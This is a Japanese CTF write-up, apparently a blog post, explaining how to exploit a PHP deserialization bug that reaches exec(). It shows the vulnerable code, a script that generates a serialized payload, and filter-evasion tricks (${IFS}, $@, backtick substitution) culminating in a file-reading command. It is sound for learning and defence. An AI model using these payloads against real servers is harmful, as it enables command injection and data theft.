PHPシリアル化脆弱性の活用:コマンド実行と正規表現バイパス

これはCTFコンテストで出題されたPHPの脆弱性に関する問題です。ソースコードを確認すると、exec関数とunserialize関数が使用されており、シリアル化とコマンド実行の脆弱性が存在します。また、正規表現によるフィルタリングも実装されているため、これらをバイパスする必要があります。

<?php
highlight_file(__FILE__);

class commandExecutor {
    
    private $cmdType;
    private $parameters;
    function __construct($cmdType, $parameters) {
        $this->cmdType = $cmdType;
        $this->parameters = $parameters;
    }
 
    function __destruct(){
        if (in_array($this->cmdType, array("ping"))) {
            call_user_func_array(array($this, $this->cmdType), $this->parameters);
        }
    } 
 
    function ping($command){
        exec($command, $output);
        var_dump($output);
    }

    function filterCheck($input){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $input, $matches)) {
            return $input;
        } else {
            echo "不正なアクセスを検知しました";
        }
    }
 
    function __wakeup(){
        foreach($this->parameters as $key => $value) {
            $this->parameters[$key] = $this->filterCheck($value);
        }
    }   
}

$data=@$_POST['ctf'];
@unserialize(base64_decode($data));
?>

call_user_func_array関数について解説します。この関数はコールバック関数を呼び出すために使用されます。基本的な使用例を以下に示します。

(1)通常の関数呼び出し:

function testFunction($param1, $param2) {
    echo $param1;
    echo $param2;
}
call_user_func_array('testFunction', array("value1", "value2"));
// 出力: value1value2

(2)クラスメソッドの呼び出し:

class TestClass {
    function methodTest($a, $b) {
        $sum = $a + $b;
        echo $sum;
    }
}
call_user_func_array(array('TestClass', 'methodTest'), array("100", "200"));
// 出力: 300

正規表現の詳細な解析:

  • /: 正規表現の開始と終了のデリミタ
  • (: キャプチャグループの開始
  • \|: パイプ文字"|"のマッチング
  • |: 論理OR演算子
  • &: アンパサンド文字"&"のマッチング
  • ;: セミコロン文字のマッチング
  • : スペース文字のマッチング
  • \/: スラッシュ文字のマッチング
  • cat|flag|tac|php|ls: 特定の文字列のマッチング
  • ): キャプチャグループの終了

この正規表現は、コマンドインジェクションを防ぐために危険な文字列をフィルタリングしています。

スペースがフィルタリングされていますが、コマンド実行にはスペースが必要です。回避方法として${IFS}(Internal Field Separator)を使用します。${IFS}はコマンドラインでスペースとして機能します。

また、$@は特殊変数として空文字列として扱われ、文字列のフィルタリングをバイパスするために使用できます。

マジックメソッドの実行順序:

  • __construct(): オブジェクト作成時に実行
  • __wakeup(): unserialize()実行前に呼び出される
  • __destruct(): オブジェクト破棄時に実行

コードの実行フロー:

  1. POSTリクエストでbase64エンコードされたシリアル化データを受信
  2. base64デコード後、unserialize()実行
  3. __wakeup()が最初に呼び出され、parameters配列の各値がフィルタリングされる
  4. シリアル化が完了し、オブジェクトが再作成される
  5. オブジェクトが破棄される際に__destruct()が実行される
  6. cmdTypeが"ping"の場合、pingメソッドが実行される
  7. exec()によりシステムコマンドが実行される

まず、基本的なコマンド実行をテストしてみましょう:

<?php
class commandExecutor {
    private $cmdType;
    private $parameters;
    
    function __construct($cmdType, $parameters) {
        $this->cmdType = $cmdType;
        $this->parameters = $parameters;
    }
}

$obj = new commandExecutor('ping', array('whoami'));
$serialized = serialize($obj);
$encoded = base64_encode($serialized);
echo $encoded;
?>

これでwhoamiコマンドが実行できることが確認できます。

次に、現在のディレクトリのファイルを一覧表示します。スペースフィルタリングを回避するためにl$@sのような形式を使用します。

Flagファイルを見つけるには、findコマンドを使用します:

array('c$@at${IFS}`find`')

バッククォートを使用することで、内部のコマンドが先に実行され、その結果がcatコマンドに渡されます。

この手法により、フィルタリングを回避してFlagを取得することができます。重要なのは、各ステップの実行フローを理解し、適切なバイパステクニックを適用することです。

タグ: PHP シリアル化 コマンドインジェクション CTF 正規表現バイパス

Sun, 10 May 2026 08:22:46 +0900 投稿